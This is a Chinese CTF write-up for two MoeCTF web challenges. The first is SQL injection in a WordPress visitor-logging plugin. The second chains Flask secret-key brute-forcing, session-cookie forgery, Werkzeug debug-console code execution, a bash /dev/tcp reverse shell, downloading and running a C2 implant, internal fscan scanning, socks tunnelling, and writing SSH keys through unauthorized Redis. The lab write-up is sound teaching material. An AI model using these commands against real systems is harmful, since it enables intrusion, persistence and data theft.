MoeCTF

出去旅游的心海

img

在wordpress里可以看到

img

他写了一个上传数据的插件,于是我们先抓个包

img

发现是post方法

img

她这里用post方法上传了IP user_agent 和 time

这里我们看看源码

这里用到ctrl F可以查找源码里的字符

img

这里我们知道了上传的地方

wp-content/plugins/visitor-logging/logger.php4

访问他,我们就可以进入到下一层

img

由于在上一步中我们知道,他用post方法上传了三个,参数

于是我们寻找这三个参数的相关代码

img

这里我们注意到,IP user_agent 都被引号包裹了

所以我们判断·注入点在time

于是我们试着查询数据库

img

这里hackbar里有关于mysql的一些写好的查询语句

img

这是查询语句

img

这里我们会看到他的表名

secret_of_kokomi

知道了表名,我们下一步就是查列名

img

这里我们就知道了他的列

id,content

下一步就是爆出他的值

img

这里就可以得到flag了

moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}

MoeWorld

这道题的考点是(隧道搭建 MySQL redis)

首先是一个压缩包

由题目得知是上一题的flag

img

进入题目后,他给我们了一个登录界面

我们试着注册登录,登录成功后我们会看到这个界面

img

这里我们根据admin的提示,我们知道他是由flask搭建的python服务器

其中sercret_key的赋值是这样的

app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()

这里听boogipop老师讲解得知,是JWT伪造

也就是这里

img

有一个Cookie

eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InNkZWdyZWUifQ.ZPMILQ.g1tZKa5kZdy_3qkzJzDt4UIHE94

它这里由三部分组成

由一个base64和两个签名组成,这是第一段base64解密后的文本

img

可以看到这里的power是guest(就是访客的意思)

我们这里需要将访客,伪造成admin

但是我们需要了解这里的密钥也就是app.secret_key

这里其实就是需要我们JWT伪造,进一步获取信息

因为我们已经了解到,这个框架是由python环境组成的

所以我们使用python查看他的密钥

这里需要我们引用os模块

详细了解os模块,查看这个链接

https://zhuanlan.zhihu.com/p/150835193

img

这里我们用print()函数得到加密字符串

他是由This-random-secretKey-you-can't-get+一个四位数的随机字符串组成

他这里使用了os.urandom(2).hex()

说明它这里用了16进制

说明他这里用到了

123456789abcdef

这些字符(也就是说字符集只有这15个字母)

也就是说,这里我们要制作一个长度为4由这15个字母组成的字典对它进行爆破

这个是生成字典的脚本

由于博主太菜,只学了c语言的stdio.h库(轻点骂)

#include <stdio.h>

int main() { char charset[] = "1234567890abcdef"; int charsetLength = 16; int combinationLength = 4;

// 打开文件以写入模式 FILE *file = fopen("di.txt", "w");

if (file == NULL) { perror("无法打开文件"); return 1; }

for (int i = 0; i < charsetLength; i++) { for (int j = 0; j < charsetLength; j++) { for (int k = 0; k < charsetLength; k++) { for (int l = 0; l < charsetLength; l++) { fprintf(file, "This-random-secretKey-you-can't-get%c%c%c%c\n", charset[i], charset[j], charset[k], charset[l]); } } } }

// 关闭文件 fclose(file);

return 0; }

img

这个就是生成的字典

这里将生成的字典,放在kali虚拟机的tmp目录下,并尝试打开,发现没有问题

img

这里要使用flask-unsign这个插件

安装后,我这里有一个bug只能在

~/.local/bin

目录下输入+使用部分运行

./flask-unsign

这里的命令是这样的

./flask-unsign --unsign --cookie eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InNkZWdyZWUifQ.ZPMILQ.g1tZKa5kZdy_3qkzJzDt4UIHE94 --wordlist /tmp/dict.txt

img

这个就是爆破后的cookie

This-random-secretKey-you-can't-get25e4

得到爆破后的cookie,这里用到flask_session_cookie_manager来将这里的guest改成admin

img

也就是这样

{'power': 'admin', 'user': 'sdegree'}

python flask_session_cookie_manager3.py encode -t "{'power': 'admin', 'user': 'sdegree'}" -s "This-random-secretKey-you-can't-get25e4"

这里的-t后面是我们要加密的字符串,-s是密钥

这样我们就可以得到我们精心伪造的cookie

eyJwb3dlciI6ImFkbWluIiwidXNlciI6InNkZWdyZWUifQ.ZPMKDg.jimSOVh0PH43llpuLYIe5gn9ryw

img

然后我们在这里换上它,然后刷新就可以进入一个新的界面

img

可以看到,这里多了很多东西,我们看到了只有admin才能看到的东西、

这里我们发现他说调试模式的pin码是831-962-688不变的(后来改成 138-429-604 )

img

这里我们就可以开启debugger模式

他有一个默认的路由,就是console我们打开它

img

会发现一个输入框,其实就是控制台,在这里我们其实就可以把pin码输入进去

img

我们就来到了可以运行任意python语句的后台

img

img

这里导入os模块

使用os.popen就可以查看目录下的所有文件

img

到了这里,我们就拿到了第一段flag,但是这才刚刚开始。题目的描述是扮演红队队员,这里才只是外网,所以我们需要做进一步的权限维持。

这时,我们需要上传一个木马,来达到维持权限的作用。

这里我们先弹一个shell到我的vps上

os.popen('bash -c "bash -i >& /dev/tcp/你的ip/7777 <&1"').read()

img

img

这里我们拿到了,第一段flag

moectf{Information-leakage-Is-dangerous!

根据提示,我们查看readme

恭喜你通过外⽹渗透拿下了本台服务器的权限 接下来,你需要尝试内⽹渗透,本服务器的/app/tools⽬录下内置了fscan 你需要了解它的基本⽤法,然后扫描内⽹的ip段 如果你进⾏了正确的操作,会得到类似下⾯的结果 10.1.11.11:22 open 10.1.23.21:8080 open 10.1.23.23:9000 open 将你得到的若⼲个端⼝号从⼩到⼤排序并以 - 分割,这⼀串即为hint.zip压缩包的密码(本例中, 密码为:22-8080-9000) 注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 , 请忽略掉有关192.168.0.1的所有结果!此为出题⼈服务器上的其它正常服务

这里我们要使用它提供的fscan来继续操作

这里我们先查看他的ip

它ban掉了ipconfig

不过我们可以使用

cat /etc/hosts

来查看他的ip

img

这里我们看到它有两个网卡

172.21.0.2 31192dd0eaf4

172.20.0.4 31192dd0eaf4

但是它不让我们看ipconfig,所以我们不知道那一张网卡才是主网卡

现在我们遇到一个问题:

得到了反弹shell,但是没有交互tty。

所以我们需要使用C2平台权限维持

这里的禁用超级多,听了大佬的讲解,得知可以使用urllib

这里我们先搭建C2平台,我用的是vshell,可以查看我的vshell安装博客

这里先生成一个木马

然后要用python将这个木马上传到服务器

https://zhuanlan.zhihu.com/p/355066395

这里再开一台vps开启一个python服务器

python3 -m http.server 9999

img

然后就可以看到这个页面点击moctf即可下载

urllib.request.urlretrieve("http://你的ip+端口/moectf","/tmp/moectf")

img

这里可以看到,已经下载成功了

然后给权限,连接C2平台

chmod +x moectf

./moectf&

img

img

然后就完成了权限维持

接下来我们利用fscan扫描

img

这里的-24就是扫描我们的ip c段

img

start infoscan (icmp) Target 172.20.0.1 is alive (icmp) Target 172.20.0.2 is alive (icmp) Target 172.20.0.4 is alive [] Icmp alive hosts len is: 3 172.20.0.1:443 open 172.20.0.4:8080 open 172.20.0.1:8080 open 172.20.0.2:6379 open 172.20.0.1:3306 open 172.20.0.1:80 open 172.20.0.2:22 open 172.20.0.1:22 open 172.20.0.1:21 open 172.20.0.1:10001 open 172.20.0.1:7777 open 172.20.0.1:888 open [] alive ports len is: 12 start vulscan [+] Redis:172.20.0.2:6379 unauthorized file:/data/dump.rdb [] WebTitle: http://172.20.0.1 code:200 len:138 title:404 Not Found [+] Redis:172.20.0.2:6379 like can write /root/.ssh/ [] WebTitle: http://172.20.0.1:888 code:403 len:548 title:403 Forbidden [] WebTitle: http://172.20.0.1:8080 code:302 len:35 title:None 跳转url: http://172.20.0.1:8080/login/index [] WebTitle: http://172.20.0.1:7777 code:200 len:917 title:恭喜,站点创建成功! [] WebTitle: http://172.20.0.4:8080 code:302 len:199 title:Redirecting... 跳转url: http://172.20.0.4:8080/login [] WebTitle: http://172.20.0.4:8080/login code:200 len:1145 title:LOGIN [*] WebTitle: http://172.20.0.1:8080/login/index code:200 len:3617 title:None 已完成 11/12 [-] ssh 172.20.0.1:22 root root111 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

所以密码就是22-3306-6379-8080

当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果 可以看到,在本内网下还有另外两台服务器 其中一台开启了22(ssh)和6379(redis)端口 另一台开启了3306(mysql)端口 还有一台正是你访问到的留言板服务 接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器 此处可了解npsfrp,同样在/app/tools已内置了相应文件 连接代理,推荐proxychains 对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2 对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3

接下来我们需要隧道搭建

这里有几种方法

1.nps

2.frp

3.venom

4.c2⾃带(vshell)

我用的是自带的

这里记得选择socks代理

img

这是原理

172.21.0.2:xxxx->本机ip:xxxxx->114.116.119.253:1089<-某种⼯具连接这个隧道<-攻击机

然后使用 proxifier

就是这个,下载链接我帮大家找好了

https://www.nite07.com/proxifier/index.html

img

img

img

这是访问,就会发现通了

img

我们先查找mysql

img

在这里有账号密码

img

host="mysql", # 数据库地址 port=3306, # 数据库端口 user="root", # 数据库用户名 passwd="4", # 数据库密码 database="messageboard", # 数据库名 charset='utf8'

用navicat连接即可

拿到了flag2,接下来我们来拿最后一个redis的flag3

这里利用到了 Another-Redis-Desktop-Manager.1.6.1.exe

可视化工具

这里要用到 写入ssh公钥这个方法

这里我们拥有了,22端口(有ssh)/root/.ssh/,root , 允许

ssh-keygen -t rsa # ⽣成公钥和私钥

接下来我们要写⼊公钥到目标服务器的/root/.ssh/authorized_keys

然后连接就行了

终于弄完了,太炸裂了,这个题做了4天,他真的我哭死。